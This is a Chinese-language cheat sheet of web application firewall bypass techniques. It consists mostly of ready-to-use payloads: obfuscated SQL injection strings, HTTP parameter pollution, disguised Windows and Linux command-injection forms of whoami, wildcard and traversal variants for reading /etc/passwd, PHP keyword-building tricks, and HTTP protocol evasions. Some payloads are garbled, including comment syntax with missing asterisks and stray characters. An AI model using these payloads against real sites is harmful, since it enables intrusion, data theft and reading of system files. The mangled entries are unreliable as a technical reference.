WAF 攔截原理
WAF 繞過的思路就是讓 WAF 的檢測規則,識別不到你所輸入的敏感字元,利用上述所介紹的知識點,靈活結合各種方法,從而可以增加繞過 WAF 的可能性.
1. 關鍵詞大小寫繞過
有的WAF因為規則設計的問題,只匹配純大寫或純小寫的字元,對字元大小寫混寫直接無視,這時,我們可以利用這一點來進行繞過
舉例: union select ---> unIOn SeLEcT
2. 編碼繞過
針對 WAF 過濾的字元編碼,如使用 URL 編碼,Unicode 編碼,十六進位制編碼,Hex 編碼等.
- url 編碼
select * from zzz = select * from %257a%257a%257a
- Unicode 編碼
單引號 = %u0027、%u02b9、%u02bc
- 部分十六進位制編碼
adminuser = 0x61646D696E75736572
- 各類編碼
空格 = %20 %09 %0a %0b %0c %0d %a0
舉例: union select 1,2,3# =union%0aselect 1\u002c2,3%23
3. 雙寫繞過
部分 WAF 只對字串識別一次,刪除敏感欄位並拼接剩餘語句,這時,我們可以透過雙寫來進行繞過。
舉例:UNIunionON ,SELselectECT anandd
4. 換行 ( \N ) 繞過
舉例:select * from admin where username = \N union select 1,user() from admin
5. 註釋符內聯註釋繞過
union selecte = /!union/ select
註釋符裡感嘆號後面的內容會被 mysql 執行。
6. HTTP 引數汙染
對目標傳送多個引數,如果目標沒有多引數進行多次過濾,那麼WAF對多個引數只會識別其中的一個。
舉例:?id=1&id=2&id=3
?id=1/**&id=-1%20union%20select%201,2,3%23*/
order by繞過:%20///--// V4.0
聯合繞過:union /!--+/%0aselect/!1,2,3/ --+
from繞過: /!06447%23%0afrom/
7. 透過其他語義相同的關鍵字替換
-
And = &&
-
Or = ||
-
等於 = like 或綜合<與>判斷
-
if(a,b,c) = case when(A) then B else C end
-
substr(str,1,1) = substr (str) from 1 for 1
-
limit 1,1 = limit 1 offset 1
-
Union select 1,2 = union select * from ((select 1)A join (select 2)B;
-
hex()、bin() = ascii()
-
sleep() = benchmark()
-
concat_ws() = group_concat()
-
mid()、substr() = substring()
-
@@user = user()
-
@@datadir = datadir()
-
空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等
注:%0a是換行也可以替代空格
8. 配合Windows特性
8.1 利用符號分割字元執行 whoami
whoami = ((((Whoam""i))))
8.2 利用變數分割關鍵字執行whoami
whoami = set a=net&&b=user&&call %a%%b%
- 為了方便演示這裡設定一個變數
set a=123whoami456
- 取出變數a的第3位開始共計6個字元
echo %a:~3,6%
執行取出的值,透過擷取系統變數然後拼接可以繞過大部分檢測%a:~3,6%
9. 配合Linux特性
9.1 單引號或雙引號連線符,需要閉合
whoami = w'h'o'a'm"i"
9.2 ?,*萬用字元
Cat /etc/passwd = cat /?t*/??ss**
9.3 [] 萬用字元,匹配【】中的字元
whoami = /b[12312i]n/w[23sh]oa[2msh]i
9.4 linux下也可以變數拼接
Whoami = a=who&&b=ami&&$a$b
9.5 目錄穿越, /被攔截
cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd
10. 配合 Mysql 特性
10.1 /**/
資料庫註釋符
中間部分被註釋,可用於截斷關鍵字,干擾 waf 匹配。
- 註釋符
/**/
也可以用於替換空格
User() = user/**/
()
Union select = /*95554*/Union/*test123*/select
10.2 /*!*/
內斂註釋
中間部分繼續執行,mysql 特有。
/*!*/
內部繼續執行
User() = /*!user/*123*/()*/
- 組合
Union select = /*!union*//*123*//*!select*/
10.3 %0a換行與#單行註釋符配合使用。
用#註釋,再用%0a逃出註釋繼續執行後面語句
Union select = union#A%0aselect
]
11. 配合過濾程式碼或漏洞本身
11.1 關鍵字被過濾,雙寫關鍵字
- 將關鍵字過濾掉後剩下的內容組成新的關鍵字
and = anandd
11.2 透過c hr() 函式變換關鍵字
- 將 acsii 碼透過 chr() 函式轉換回來
phpinfo() = chr (80).chr (72).chr (80).chr (73).chr (78).chr (70).chr (79).chr (40).chr (41)
11.3 透過 base_convert() 函式變換關鍵字
phpinfo = base_convert(27440799224,10,32) //從 10 進位制轉換成 32 進位制
12. http 協議繞過
12.1 Content-Type 繞過
application/x-www-form-urlencoded è multipart/form-data
12.2 HTTP 請求方式繞過
get 改為 post
12.3 keep-alive(Pipeline)繞過
將惡意程式碼隱藏在第 n個 請求中,繞過 waf
12.4 分塊傳輸繞過
將關鍵字 and, or, select , union 等關鍵字拆開編碼
12.5 修改編碼方式:Charset 繞過
大部分的 WAF 預設用 UTF8 編碼檢測
13. 網路結構繞過
直接對源地址發起攻擊,流量不會經過 waf,從而成功繞過